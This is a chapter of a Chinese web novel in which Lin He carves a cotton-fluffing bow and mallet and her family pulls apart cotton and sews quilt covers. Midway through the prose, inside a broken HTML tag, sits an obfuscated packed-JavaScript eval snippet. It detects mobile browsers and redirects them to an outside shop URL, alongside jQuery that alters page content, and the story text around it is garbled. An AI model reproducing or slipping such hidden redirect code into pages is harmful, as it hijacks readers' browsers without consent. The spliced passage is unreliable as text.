第197章 棉花
作品:《穿成老妇?荒山野菜嘎嘎挖!》 “娘,咱们这些棉花啥时候用啊?”
王三娘起得早,趁着其他人洗漱的功夫,又跟着沈大山回山洞搬了一趟东西。
她肩上扛着两袋鼓鼓囊囊的棉花,瞧着轻飘飘的。
但这两袋棉花都是压实了的,一下子扛两袋在肩上,也不轻松。
王三娘放下棉花时,还喘了两口粗气才将话问出口。
“这几天没事就能把棉被赶出来,等再冷一点,晚上容易冻感冒。”
林禾摸了摸有些发痒的鼻子。
昨晚虽然放了炭火,但是她没敢把房间的窗户关太严实,谁成想半夜被冷风吹开了。
山里的冷风直接往屋里灌,她后半夜都是被冷醒的。
缩在薄被里直打寒颤,还是后面把所有的衣服都堆在身上才感觉慢慢暖和起来,又睡了过去。
今日即便是王三娘不提起棉花,林禾也要将棉花带过来。
“行!都听娘的!”
王三娘不知道怎么处理这些软乎乎的棉花,说完话就将装着棉花的布袋放在仓库的角落里。
吃完饭,林禾戴上斗笠,冒着细雨出去砍了两根弹性强的杨木回来。
她将木头放在新房廊下晾着水汽,转身进去拿帕子擦了擦头发。
“娘,砍这杨木回来是做啥用?”
王三娘好奇地问,一边帮着把木头上的水珠擦干。
“做弹棉花的家伙事儿,没这东西,这棉花用一段时间就跟石头疙瘩似的,不顶用了。”
林禾说着,取来柴刀和锯子,就在廊下忙活起来。
她只是见过几次弹棉花那个玩意儿,也不确定能成功。
为此她还专门选了弹性好的杨木,就是怕一不小心用力就给它弄断了,又白弄一场。
做弓身是个细致活,林禾也只能试着试着来。
她先用锯子将一根较粗壮,木质坚韧的杨木截取一段约莫四尺长的木料。
然后拿起柴刀,小心翼翼地削砍起来。
林禾需要将木料中间部分修整得略厚实以承力,两端则要逐渐削薄,使其具备良好的弹性。
这过程急不得,力道重了容易劈裂,轻了又费时。
沈大山想帮忙,试了两下差点就将木棍掰断,只好讪讪地站在一旁看。
林禾全神贯注,刀刃与木头摩擦发出“唰唰”的声响。
木屑簌簌落下,足足花了近一个时辰,才将弓身修整成理想的流线型。
林禾轻轻吹落弓身上的木屑,“还挺像模像样的。”
弓身有了还要上弦。
林禾冲着坐在里面的大妞二妞喊。
“我让你们搓的麻绳搓好了没有?”
“好了!好了!”
二妞把手上搓得结实的麻绳递到林禾面前。
林禾也没耽误时间,直接将弓身两端用力向内弯曲。
“嘶——”
她一个人双手用力掰木棍,曲度依旧没达到,而且手心传来的痛疼得她直吸气。
这需要不小的力气,林禾显然高估了自己的力气,也低估了杨木的坚韧。
沈大山见状,连忙上前帮忙,两人合力,才将弓身弯成一道饱满的弧线。
林禾撑着这个机会,迅速用绳索在两端紧紧绑死固定。
一张简易的木弓终于成型,弓弦绷得紧紧的,林禾用手拇指轻轻一拨。
“嗡——”的一声沉闷回响,带着木料特有的震颤,听起来劲道十足。
木槌相对木弓而言,做得快些。
木槌只需要选根细些的杨木,截取一尺半长。
将中间手握的部分削磨圆润光滑,两头保持原有的粗粝以增加敲击的摩擦力,不到一刻钟也就做好了。
“三娘,你去翻些之前做衣裳剩下的布料做个被套。”
林禾做好趁手的工具,直接将两大袋棉花拎了出来。
此时,王三娘已经找来那些厚实耐磨的土褐色粗布,按照林禾比划的尺寸,开始飞针走线缝制被套。
这也不是一会儿功夫能完成的,她又是第一次试着做,时间会更加慢。
但王三娘也不急,坐在窗下的光亮处,低着头,一针一线细细地缝着。
“这布袋口可真够紧的,当初也是下死手了。”
林禾伸手去解扎紧的布袋口,捣鼓了半天也没解开。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16721568|182632||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
当时只管扎紧的时候她是心高气傲,现在要她解开了,也是生死难料。
“娘,还解开做什么,直接割了吧!”
沈大山拿来柴刀,利索地割了绑在布袋上的绳子。
林禾伸手进去,抓出来的是一团团软软的棉花,这些棉花有一些都抱在一起变成了棉絮。
有一些轻轻一碰就散开了,瞧着比棉花糖还软。
那些已经团成棉花团的棉花,林禾也不愿意放弃。
变成一团就先用手慢慢掰,慢慢撕。
这样能一点点将它们撕开扯散,重新变得柔软。
这初步的撕扯不仅耗费耐心,还考验手上功夫。
不过一会儿的功夫,林禾的手指就有些发酸,空气中也开始漂浮起细小的纤维尘埃。
“这棉花瞧得我眼睛都发花。”
沈大山也坐在一旁帮忙扯棉花。
他个子高,手也大。
这些小的棉花团在他手上就和玩具一样,瞧着多了几分可爱的味道。
两人合力,花了快一个时辰,才将准备这些布袋里的棉花全部撕成勉强松散的小块。
棉花都堆在临时铺在地上的大草席上,像一座小小的僵硬的白色山峰。
“歇会儿,喝口水再继续干!”
林禾直起有些酸痛的腰,捶了捶后背。
长时间盯着白花花的棉花看,眼睛也有些酸痛。
王三娘也刚好缝完了一个被套,起身活动了一下僵硬的脖颈。
“娘,你看看是不是这样的?”
王三娘还有缝好几个,缝好一个之后得先拿给林禾看,若是有要改的地方,及时改了。
“三娘,还是你厉害啊!我给个图你就能做得这么好!”
林禾翻着手上的被套,只觉得很熟悉。
水星家纺的被套有一款也是这个颜色,她差点以为自己在做梦。
“娘,这些不难的,不过是费些时间。”
王三娘嘴上谦逊,但面上的笑无法掩盖她的欢喜。
林禾其实挺佩服她们的,只要拿着针线在手上,衣服、鞋子、被套什么都能做出来。

